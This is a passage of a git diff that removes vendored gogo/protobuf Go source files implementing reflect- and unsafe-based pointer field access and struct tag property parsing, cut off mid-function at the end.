**int32 { - return p.v.Interface().(**int32) -} - func (p pointer) toInt32Slice() *[]int32 { - return p.v.Interface().(*[]int32) -} -*/ -func (p pointer) getInt32Ptr() *int32 { - if p.v.Type().Elem().Elem() == reflect.TypeOf(int32(0)) { - // raw int32 type - return p.v.Elem().Interface().(*int32) - } - // an enum - return p.v.Elem().Convert(int32PtrType).Interface().(*int32) -} -func (p pointer) setInt32Ptr(v int32) { - // Allocate value in a *int32. Possibly convert that to a *enum. - // Then assign it to a **int32 or **enum. - // Note: we can convert *int32 to *enum, but we can't convert - // **int32 to **enum! - p.v.Elem().Set(reflect.ValueOf(&v).Convert(p.v.Type().Elem())) -} - -// getInt32Slice copies []int32 from p as a new slice. -// This behavior differs from the implementation in pointer_unsafe.go. -func (p pointer) getInt32Slice() []int32 { - if p.v.Type().Elem().Elem() == reflect.TypeOf(int32(0)) { - // raw int32 type - return p.v.Elem().Interface().([]int32) - } - // an enum - // Allocate a []int32, then assign []enum's values into it. - // Note: we can't convert []enum to []int32. - slice := p.v.Elem() - s := make([]int32, slice.Len()) - for i := 0; i < slice.Len(); i++ { - s[i] = int32(slice.Index(i).Int()) - } - return s -} - -// setInt32Slice copies []int32 into p as a new slice. -// This behavior differs from the implementation in pointer_unsafe.go. -func (p pointer) setInt32Slice(v []int32) { - if p.v.Type().Elem().Elem() == reflect.TypeOf(int32(0)) { - // raw int32 type - p.v.Elem().Set(reflect.ValueOf(v)) - return - } - // an enum - // Allocate a []enum, then assign []int32's values into it. - // Note: we can't convert []enum to []int32. - slice := reflect.MakeSlice(p.v.Type().Elem(), len(v), cap(v)) - for i, x := range v { - slice.Index(i).SetInt(int64(x)) - } - p.v.Elem().Set(slice) -} -func (p pointer) appendInt32Slice(v int32) { - grow(p.v.Elem()).SetInt(int64(v)) -} - -func (p pointer) toUint64() *uint64 { - return p.v.Interface().(*uint64) -} -func (p pointer) toUint64Ptr() **uint64 { - return p.v.Interface().(**uint64) -} -func (p pointer) toUint64Slice() *[]uint64 { - return p.v.Interface().(*[]uint64) -} -func (p pointer) toUint32() *uint32 { - return p.v.Interface().(*uint32) -} -func (p pointer) toUint32Ptr() **uint32 { - return p.v.Interface().(**uint32) -} -func (p pointer) toUint32Slice() *[]uint32 { - return p.v.Interface().(*[]uint32) -} -func (p pointer) toBool() *bool { - return p.v.Interface().(*bool) -} -func (p pointer) toBoolPtr() **bool { - return p.v.Interface().(**bool) -} -func (p pointer) toBoolSlice() *[]bool { - return p.v.Interface().(*[]bool) -} -func (p pointer) toFloat64() *float64 { - return p.v.Interface().(*float64) -} -func (p pointer) toFloat64Ptr() **float64 { - return p.v.Interface().(**float64) -} -func (p pointer) toFloat64Slice() *[]float64 { - return p.v.Interface().(*[]float64) -} -func (p pointer) toFloat32() *float32 { - return p.v.Interface().(*float32) -} -func (p pointer) toFloat32Ptr() **float32 { - return p.v.Interface().(**float32) -} -func (p pointer) toFloat32Slice() *[]float32 { - return p.v.Interface().(*[]float32) -} -func (p pointer) toString() *string { - return p.v.Interface().(*string) -} -func (p pointer) toStringPtr() **string { - return p.v.Interface().(**string) -} -func (p pointer) toStringSlice() *[]string { - return p.v.Interface().(*[]string) -} -func (p pointer) toBytes() *[]byte { - return p.v.Interface().(*[]byte) -} -func (p pointer) toBytesSlice() *[][]byte { - return p.v.Interface().(*[][]byte) -} -func (p pointer) toExtensions() *XXX_InternalExtensions { - return p.v.Interface().(*XXX_InternalExtensions) -} -func (p pointer) toOldExtensions() *map[int32]Extension { - return p.v.Interface().(*map[int32]Extension) -} -func (p pointer) getPointer() pointer { - return pointer{v: p.v.Elem()} -} -func (p pointer) setPointer(q pointer) { - p.v.Elem().Set(q.v) -} -func (p pointer) appendPointer(q pointer) { - grow(p.v.Elem()).Set(q.v) -} - -// getPointerSlice copies []*T from p as a new []pointer. -// This behavior differs from the implementation in pointer_unsafe.go. -func (p pointer) getPointerSlice() []pointer { - if p.v.IsNil() { - return nil - } - n := p.v.Elem().Len() - s := make([]pointer, n) - for i := 0; i < n; i++ { - s[i] = pointer{v: p.v.Elem().Index(i)} - } - return s -} - -// setPointerSlice copies []pointer into p as a new []*T. -// This behavior differs from the implementation in pointer_unsafe.go. -func (p pointer) setPointerSlice(v []pointer) { - if v == nil { - p.v.Elem().Set(reflect.New(p.v.Elem().Type()).Elem()) - return - } - s := reflect.MakeSlice(p.v.Elem().Type(), 0, len(v)) - for _, p := range v { - s = reflect.Append(s, p.v) - } - p.v.Elem().Set(s) -} - -// getInterfacePointer returns a pointer that points to the -// interface data of the interface pointed by p. -func (p pointer) getInterfacePointer() pointer { - if p.v.Elem().IsNil() { - return pointer{v: p.v.Elem()} - } - return pointer{v: p.v.Elem().Elem().Elem().Field(0).Addr()} // *interface -> interface -> *struct -> struct -} - -func (p pointer) asPointerTo(t reflect.Type) reflect.Value { - // TODO: check that p.v.Type().Elem() == t? - return p.v -} - -func atomicLoadUnmarshalInfo(p **unmarshalInfo) *unmarshalInfo { - atomicLock.Lock() - defer atomicLock.Unlock() - return *p -} -func atomicStoreUnmarshalInfo(p **unmarshalInfo, v *unmarshalInfo) { - atomicLock.Lock() - defer atomicLock.Unlock() - *p = v -} -func atomicLoadMarshalInfo(p **marshalInfo) *marshalInfo { - atomicLock.Lock() - defer atomicLock.Unlock() - return *p -} -func atomicStoreMarshalInfo(p **marshalInfo, v *marshalInfo) { - atomicLock.Lock() - defer atomicLock.Unlock() - *p = v -} -func atomicLoadMergeInfo(p **mergeInfo) *mergeInfo { - atomicLock.Lock() - defer atomicLock.Unlock() - return *p -} -func atomicStoreMergeInfo(p **mergeInfo, v *mergeInfo) { - atomicLock.Lock() - defer atomicLock.Unlock() - *p = v -} -func atomicLoadDiscardInfo(p **discardInfo) *discardInfo { - atomicLock.Lock() - defer atomicLock.Unlock() - return *p -} -func atomicStoreDiscardInfo(p **discardInfo, v *discardInfo) { - atomicLock.Lock() - defer atomicLock.Unlock() - *p = v -} - -var atomicLock sync.Mutex diff --git a/vendor/github.com/gogo/protobuf/proto/pointer_reflect_gogo.go b/vendor/github.com/gogo/protobuf/proto/pointer_reflect_gogo.go deleted file mode 100644 index 7ffd3c29..00000000 --- a/vendor/github.com/gogo/protobuf/proto/pointer_reflect_gogo.go +++ /dev/null @@ -1,59 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2018, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -// +build purego appengine js - -// This file contains an implementation of proto field accesses using package reflect. -// It is slower than the code in pointer_unsafe.go but it avoids package unsafe and can -// be used on App Engine. - -package proto - -import ( - "reflect" -) - -// TODO: untested, so probably incorrect. - -func (p pointer) getRef() pointer { - return pointer{v: p.v.Addr()} -} - -func (p pointer) appendRef(v pointer, typ reflect.Type) { - slice := p.getSlice(typ) - elem := v.asPointerTo(typ).Elem() - newSlice := reflect.Append(slice, elem) - slice.Set(newSlice) -} - -func (p pointer) getSlice(typ reflect.Type) reflect.Value { - sliceTyp := reflect.SliceOf(typ) - slice := p.asPointerTo(sliceTyp) - slice = slice.Elem() - return slice -} diff --git a/vendor/github.com/gogo/protobuf/proto/pointer_unsafe.go b/vendor/github.com/gogo/protobuf/proto/pointer_unsafe.go deleted file mode 100644 index d55a335d..00000000 --- a/vendor/github.com/gogo/protobuf/proto/pointer_unsafe.go +++ /dev/null @@ -1,308 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2012 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -// +build !purego,!appengine,!js - -// This file contains the implementation of the proto field accesses using package unsafe. - -package proto - -import ( - "reflect" - "sync/atomic" - "unsafe" -) - -const unsafeAllowed = true - -// A field identifies a field in a struct, accessible from a pointer. -// In this implementation, a field is identified by its byte offset from the start of the struct. -type field uintptr - -// toField returns a field equivalent to the given reflect field. -func toField(f *reflect.StructField) field { - return field(f.Offset) -} - -// invalidField is an invalid field identifier. -const invalidField = ^field(0) - -// zeroField is a noop when calling pointer.offset. -const zeroField = field(0) - -// IsValid reports whether the field identifier is valid. -func (f field) IsValid() bool { - return f != invalidField -} - -// The pointer type below is for the new table-driven encoder/decoder. -// The implementation here uses unsafe.Pointer to create a generic pointer. -// In pointer_reflect.go we use reflect instead of unsafe to implement -// the same (but slower) interface. -type pointer struct { - p unsafe.Pointer -} - -// size of pointer -var ptrSize = unsafe.Sizeof(uintptr(0)) - -// toPointer converts an interface of pointer type to a pointer -// that points to the same target. -func toPointer(i *Message) pointer { - // Super-tricky - read pointer out of data word of interface value. - // Saves ~25ns over the equivalent: - // return valToPointer(reflect.ValueOf(*i)) - return pointer{p: (*[2]unsafe.Pointer)(unsafe.Pointer(i))[1]} -} - -// toAddrPointer converts an interface to a pointer that points to -// the interface data. -func toAddrPointer(i *interface{}, isptr bool) pointer { - // Super-tricky - read or get the address of data word of interface value. - if isptr { - // The interface is of pointer type, thus it is a direct interface. - // The data word is the pointer data itself. We take its address. - return pointer{p: unsafe.Pointer(uintptr(unsafe.Pointer(i)) + ptrSize)} - } - // The interface is not of pointer type. The data word is the pointer - // to the data. - return pointer{p: (*[2]unsafe.Pointer)(unsafe.Pointer(i))[1]} -} - -// valToPointer converts v to a pointer. v must be of pointer type. -func valToPointer(v reflect.Value) pointer { - return pointer{p: unsafe.Pointer(v.Pointer())} -} - -// offset converts from a pointer to a structure to a pointer to -// one of its fields. -func (p pointer) offset(f field) pointer { - // For safety, we should panic if !f.IsValid, however calling panic causes - // this to no longer be inlineable, which is a serious performance cost. - /* - if !f.IsValid() { - panic("invalid field") - } - */ - return pointer{p: unsafe.Pointer(uintptr(p.p) + uintptr(f))} -} - -func (p pointer) isNil() bool { - return p.p == nil -} - -func (p pointer) toInt64() *int64 { - return (*int64)(p.p) -} -func (p pointer) toInt64Ptr() **int64 { - return (**int64)(p.p) -} -func (p pointer) toInt64Slice() *[]int64 { - return (*[]int64)(p.p) -} -func (p pointer) toInt32() *int32 { - return (*int32)(p.p) -} - -// See pointer_reflect.go for why toInt32Ptr/Slice doesn't exist. -/* - func (p pointer) toInt32Ptr() **int32 { - return (**int32)(p.p) - } - func (p pointer) toInt32Slice() *[]int32 { - return (*[]int32)(p.p) - } -*/ -func (p pointer) getInt32Ptr() *int32 { - return *(**int32)(p.p) -} -func (p pointer) setInt32Ptr(v int32) { - *(**int32)(p.p) = &v -} - -// getInt32Slice loads a []int32 from p. -// The value returned is aliased with the original slice. -// This behavior differs from the implementation in pointer_reflect.go. -func (p pointer) getInt32Slice() []int32 { - return *(*[]int32)(p.p) -} - -// setInt32Slice stores a []int32 to p. -// The value set is aliased with the input slice. -// This behavior differs from the implementation in pointer_reflect.go. -func (p pointer) setInt32Slice(v []int32) { - *(*[]int32)(p.p) = v -} - -// TODO: Can we get rid of appendInt32Slice and use setInt32Slice instead? -func (p pointer) appendInt32Slice(v int32) { - s := (*[]int32)(p.p) - *s = append(*s, v) -} - -func (p pointer) toUint64() *uint64 { - return (*uint64)(p.p) -} -func (p pointer) toUint64Ptr() **uint64 { - return (**uint64)(p.p) -} -func (p pointer) toUint64Slice() *[]uint64 { - return (*[]uint64)(p.p) -} -func (p pointer) toUint32() *uint32 { - return (*uint32)(p.p) -} -func (p pointer) toUint32Ptr() **uint32 { - return (**uint32)(p.p) -} -func (p pointer) toUint32Slice() *[]uint32 { - return (*[]uint32)(p.p) -} -func (p pointer) toBool() *bool { - return (*bool)(p.p) -} -func (p pointer) toBoolPtr() **bool { - return (**bool)(p.p) -} -func (p pointer) toBoolSlice() *[]bool { - return (*[]bool)(p.p) -} -func (p pointer) toFloat64() *float64 { - return (*float64)(p.p) -} -func (p pointer) toFloat64Ptr() **float64 { - return (**float64)(p.p) -} -func (p pointer) toFloat64Slice() *[]float64 { - return (*[]float64)(p.p) -} -func (p pointer) toFloat32() *float32 { - return (*float32)(p.p) -} -func (p pointer) toFloat32Ptr() **float32 { - return (**float32)(p.p) -} -func (p pointer) toFloat32Slice() *[]float32 { - return (*[]float32)(p.p) -} -func (p pointer) toString() *string { - return (*string)(p.p) -} -func (p pointer) toStringPtr() **string { - return (**string)(p.p) -} -func (p pointer) toStringSlice() *[]string { - return (*[]string)(p.p) -} -func (p pointer) toBytes() *[]byte { - return (*[]byte)(p.p) -} -func (p pointer) toBytesSlice() *[][]byte { - return (*[][]byte)(p.p) -} -func (p pointer) toExtensions() *XXX_InternalExtensions { - return (*XXX_InternalExtensions)(p.p) -} -func (p pointer) toOldExtensions() *map[int32]Extension { - return (*map[int32]Extension)(p.p) -} - -// getPointerSlice loads []*T from p as a []pointer. -// The value returned is aliased with the original slice. -// This behavior differs from the implementation in pointer_reflect.go. -func (p pointer) getPointerSlice() []pointer { - // Super-tricky - p should point to a []*T where T is a - // message type. We load it as []pointer. - return *(*[]pointer)(p.p) -} - -// setPointerSlice stores []pointer into p as a []*T. -// The value set is aliased with the input slice. -// This behavior differs from the implementation in pointer_reflect.go. -func (p pointer) setPointerSlice(v []pointer) { - // Super-tricky - p should point to a []*T where T is a - // message type. We store it as []pointer. - *(*[]pointer)(p.p) = v -} - -// getPointer loads the pointer at p and returns it. -func (p pointer) getPointer() pointer { - return pointer{p: *(*unsafe.Pointer)(p.p)} -} - -// setPointer stores the pointer q at p. -func (p pointer) setPointer(q pointer) { - *(*unsafe.Pointer)(p.p) = q.p -} - -// append q to the slice pointed to by p. -func (p pointer) appendPointer(q pointer) { - s := (*[]unsafe.Pointer)(p.p) - *s = append(*s, q.p) -} - -// getInterfacePointer returns a pointer that points to the -// interface data of the interface pointed by p. -func (p pointer) getInterfacePointer() pointer { - // Super-tricky - read pointer out of data word of interface value. - return pointer{p: (*(*[2]unsafe.Pointer)(p.p))[1]} -} - -// asPointerTo returns a reflect.Value that is a pointer to an -// object of type t stored at p. -func (p pointer) asPointerTo(t reflect.Type) reflect.Value { - return reflect.NewAt(t, p.p) -} - -func atomicLoadUnmarshalInfo(p **unmarshalInfo) *unmarshalInfo { - return (*unmarshalInfo)(atomic.LoadPointer((*unsafe.Pointer)(unsafe.Pointer(p)))) -} -func atomicStoreUnmarshalInfo(p **unmarshalInfo, v *unmarshalInfo) { - atomic.StorePointer((*unsafe.Pointer)(unsafe.Pointer(p)), unsafe.Pointer(v)) -} -func atomicLoadMarshalInfo(p **marshalInfo) *marshalInfo { - return (*marshalInfo)(atomic.LoadPointer((*unsafe.Pointer)(unsafe.Pointer(p)))) -} -func atomicStoreMarshalInfo(p **marshalInfo, v *marshalInfo) { - atomic.StorePointer((*unsafe.Pointer)(unsafe.Pointer(p)), unsafe.Pointer(v)) -} -func atomicLoadMergeInfo(p **mergeInfo) *mergeInfo { - return (*mergeInfo)(atomic.LoadPointer((*unsafe.Pointer)(unsafe.Pointer(p)))) -} -func atomicStoreMergeInfo(p **mergeInfo, v *mergeInfo) { - atomic.StorePointer((*unsafe.Pointer)(unsafe.Pointer(p)), unsafe.Pointer(v)) -} -func atomicLoadDiscardInfo(p **discardInfo) *discardInfo { - return (*discardInfo)(atomic.LoadPointer((*unsafe.Pointer)(unsafe.Pointer(p)))) -} -func atomicStoreDiscardInfo(p **discardInfo, v *discardInfo) { - atomic.StorePointer((*unsafe.Pointer)(unsafe.Pointer(p)), unsafe.Pointer(v)) -} diff --git a/vendor/github.com/gogo/protobuf/proto/pointer_unsafe_gogo.go b/vendor/github.com/gogo/protobuf/proto/pointer_unsafe_gogo.go deleted file mode 100644 index aca8eed0..00000000 --- a/vendor/github.com/gogo/protobuf/proto/pointer_unsafe_gogo.go +++ /dev/null @@ -1,56 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2018, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -// +build !purego,!appengine,!js - -// This file contains the implementation of the proto field accesses using package unsafe. - -package proto - -import ( - "reflect" - "unsafe" -) - -func (p pointer) getRef() pointer { - return pointer{p: (unsafe.Pointer)(&p.p)} -} - -func (p pointer) appendRef(v pointer, typ reflect.Type) { - slice := p.getSlice(typ) - elem := v.asPointerTo(typ).Elem() - newSlice := reflect.Append(slice, elem) - slice.Set(newSlice) -} - -func (p pointer) getSlice(typ reflect.Type) reflect.Value { - sliceTyp := reflect.SliceOf(typ) - slice := p.asPointerTo(sliceTyp) - slice = slice.Elem() - return slice -} diff --git a/vendor/github.com/gogo/protobuf/proto/properties.go b/vendor/github.com/gogo/protobuf/proto/properties.go deleted file mode 100644 index 28da1475..00000000 --- a/vendor/github.com/gogo/protobuf/proto/properties.go +++ /dev/null @@ -1,610 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2013, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -/* - * Routines for encoding data into the wire format for protocol buffers. - */ - -import ( - "fmt" - "log" - "reflect" - "sort" - "strconv" - "strings" - "sync" -) - -const debug bool = false - -// Constants that identify the encoding of a value on the wire. -const ( - WireVarint = 0 - WireFixed64 = 1 - WireBytes = 2 - WireStartGroup = 3 - WireEndGroup = 4 - WireFixed32 = 5 -) - -// tagMap is an optimization over map[int]int for typical protocol buffer -// use-cases. Encoded protocol buffers are often in tag order with small tag -// numbers. -type tagMap struct { - fastTags []int - slowTags map[int]int -} - -// tagMapFastLimit is the upper bound on the tag number that will be stored in -// the tagMap slice rather than its map. -const tagMapFastLimit = 1024 - -func (p *tagMap) get(t int) (int, bool) { - if t > 0 && t < tagMapFastLimit { - if t >= len(p.fastTags) { - return 0, false - } - fi := p.fastTags[t] - return fi, fi >= 0 - } - fi, ok := p.slowTags[t] - return fi, ok -} - -func (p *tagMap) put(t int, fi int) { - if t > 0 && t < tagMapFastLimit { - for len(p.fastTags) < t+1 { - p.fastTags = append(p.fastTags, -1) - } - p.fastTags[t] = fi - return - } - if p.slowTags == nil { - p.slowTags = make(map[int]int) - } - p.slowTags[t] = fi -} - -// StructProperties represents properties for all the fields of a struct. -// decoderTags and decoderOrigNames should only be used by the decoder. -type StructProperties struct { - Prop []*Properties // properties for each field - reqCount int // required count - decoderTags tagMap // map from proto tag to struct field number - decoderOrigNames map[string]int // map from original name to struct field number - order []int // list of struct field numbers in tag order - - // OneofTypes contains information about the oneof fields in this message. - // It is keyed by the original name of a field. - OneofTypes map[string]*OneofProperties -} - -// OneofProperties represents information about a specific field in a oneof. -type OneofProperties struct { - Type reflect.Type // pointer to generated struct type for this oneof field - Field int // struct field number of the containing oneof in the message - Prop *Properties -} - -// Implement the sorting interface so we can sort the fields in tag order, as recommended by the spec. -// See encode.go, (*Buffer).enc_struct. - -func (sp *StructProperties) Len() int { return len(sp.order) } -func (sp *StructProperties) Less(i, j int) bool { - return sp.Prop[sp.order[i]].Tag < sp.Prop[sp.order[j]].Tag -} -func (sp *StructProperties) Swap(i, j int) { sp.order[i], sp.order[j] = sp.order[j], sp.order[i] } - -// Properties represents the protocol-specific behavior of a single struct field. -type Properties struct { - Name string // name of the field, for error messages - OrigName string // original name before protocol compiler (always set) - JSONName string // name to use for JSON; determined by protoc - Wire string - WireType int - Tag int - Required bool - Optional bool - Repeated bool - Packed bool // relevant for repeated primitives only - Enum string // set for enum types only - proto3 bool // whether this is known to be a proto3 field - oneof bool // whether this is a oneof field - - Default string // default value - HasDefault bool // whether an explicit default was provided - CustomType string - CastType string - StdTime bool - StdDuration bool - WktPointer bool - - stype reflect.Type // set for struct types only - ctype reflect.Type // set for custom types only - sprop *StructProperties // set for struct types only - - mtype reflect.Type // set for map types only - MapKeyProp *Properties // set for map types only - MapValProp *Properties // set for map types only -} - -// String formats the properties in the protobuf struct field tag style. -func (p *Properties) String() string { - s := p.Wire - s += "," - s += strconv.Itoa(p.Tag) - if p.Required { - s += ",req" - } - if p.Optional { - s += ",opt" - } - if p.Repeated { - s += ",rep" - } - if p.Packed { - s += ",packed" - } - s += ",name=" + p.OrigName - if p.JSONName != p.OrigName { - s += ",json=" + p.JSONName - } - if p.proto3 { - s += ",proto3" - } - if p.oneof { - s += ",oneof" - } - if len(p.Enum) > 0 { - s += ",enum=" + p.Enum - } - if p.HasDefault { - s += ",def=" + p.Default - } - return s -} - -// Parse populates p by parsing a string in the protobuf struct field tag style. -func (p *Properties) Parse(s string) { - // "bytes,49,opt,name=foo,def=hello!" - fields := strings.Split(s, ",") // breaks def=, but handled below. - if len(fields) < 2 { - log.Printf("proto: tag has too few fields: %q", s) - return - } - - p.Wire = fields[0] - switch p.Wire { - case "varint": - p.WireType = WireVarint - case "fixed32": - p.WireType = WireFixed32 - case "fixed64": - p.WireType = WireFixed64 - case "zigzag32": - p.WireType = WireVarint - case "zigzag64": - p.WireType = WireVarint - case "bytes", "group": - p.WireType = WireBytes - // no numeric converter for non-numeric types - default: - log.Printf("proto: tag has unknown wire type: %q", s) - return - } - - var err error - p.Tag, err = strconv.Atoi(fields[1]) - if err != nil { - return - } - -outer: - for i := 2; i < len(fields); i++ { - f := fields[i] - switch { - case f == "req": - p.Required = true - case f == "opt": - p.Optional = true - case f == "rep": - p.Repeated = true - case f == "packed": - p.Packed = true - case strings.HasPrefix(f, "name="): - p.OrigName = f[5:] - case strings.HasPrefix(f, "json="): - p.JSONName = f[5:] - case strings.HasPrefix(f, "enum="): - p.Enum = f[5:] - case f == "proto3": - p.proto3 = true - case f == "oneof": - p.oneof = true - case strings.HasPrefix(f, "def="): - p.HasDefault = true - p.Default = f[4:] // rest of string - if i+1 < len(fields) { - // Commas aren't escaped, and def is always last. - p.Default += "," + strings.Join(fields[i+1:], ",") - break outer - } - case strings.HasPrefix(f, "embedded="): - p.OrigName = strings.Split(f, "=")[1] - case strings.HasPrefix(f, "customtype="): - p.CustomType = strings.Split(f, "=")[1] - case strings.HasPrefix(f, "casttype="): - p.CastType = strings.Split(f, "=")[1] - case f == "stdtime": - p.StdTime = true - case f == "stdduration": - p.StdDuration = true - case f == "wktptr": - p.WktPointer = true - } - } -} - -var protoMessageType = reflect.TypeOf((*Message)(nil)).Elem() - -// setFieldProps initializes the field properties for submessages and maps. -func (p *Properties) setFieldProps(typ reflect.Type, f *reflect.StructField, lockGetProp bool) { - isMap := typ.Kind() == reflect.Map - if len(p.CustomType) > 0 && !isMap { - p.ctype = typ - p.setTag(lockGetProp) - return - } - if p.StdTime && !isMap { - p.setTag(lockGetProp) - return - } - if p.StdDuration && !isMap { - p.setTag(lockGetProp) - return - } - if p.WktPointer && !isMap { - p.setTag(lockGetProp) - return - } - switch t1 := typ; t1.Kind() { - case reflect.Struct: - p.stype = typ - case reflect.Ptr: - if t1.Elem().Kind() == reflect.Struct { - p.stype = t1.Elem() - } - case reflect.Slice: - switch t2 := t1.Elem(); t2.Kind() { - case reflect.Ptr: - switch t3 := t2.Elem(); t3.Kind() { - case reflect.Struct: - p.stype = t3 - } - case reflect.Struct: - p.stype = t2 - } - - case reflect.Map: - - p.mtype = t1 - p.MapKeyProp = &Properties{} - p.MapKeyProp.init(reflect.PtrTo(p.mtype.Key()), "Key", f.Tag.Get("protobuf_key"), nil, lockGetProp) - p.MapValProp = &Properties{} - vtype := p.mtype.Elem() - if vtype.Kind() != reflect.Ptr && vtype.Kind() != reflect.Slice { - // The value type is not a message (*T) or bytes ([]byte), - // so we need encoders for the pointer to this type. - vtype = reflect.PtrTo(vtype) - } - - p.MapValProp.CustomType = p.CustomType - p.MapValProp.StdDuration = p.StdDuration - p.MapValProp.StdTime = p.StdTime - p.MapValProp.WktPointer = p.WktPointer - p.MapValProp.init(vtype, "Value", f.Tag.Get("protobuf_val"), nil, lockGetProp) - } - p.setTag(lockGetProp) -} - -func (p *Properties) setTag(lockGetProp bool) { - if p.stype != nil { - if lockGetProp { - p.sprop = GetProperties(p.stype) - } else { - p.sprop = getPropertiesLocked(p.stype) - } - } -} - -var ( - marshalerType = reflect.TypeOf((*Marshaler)(nil)).Elem() -) - -// Init populates the properties from a protocol buffer struct tag. -func (p *Properties) Init(typ reflect.Type, name, tag string, f *reflect.StructField) { - p.init(typ, 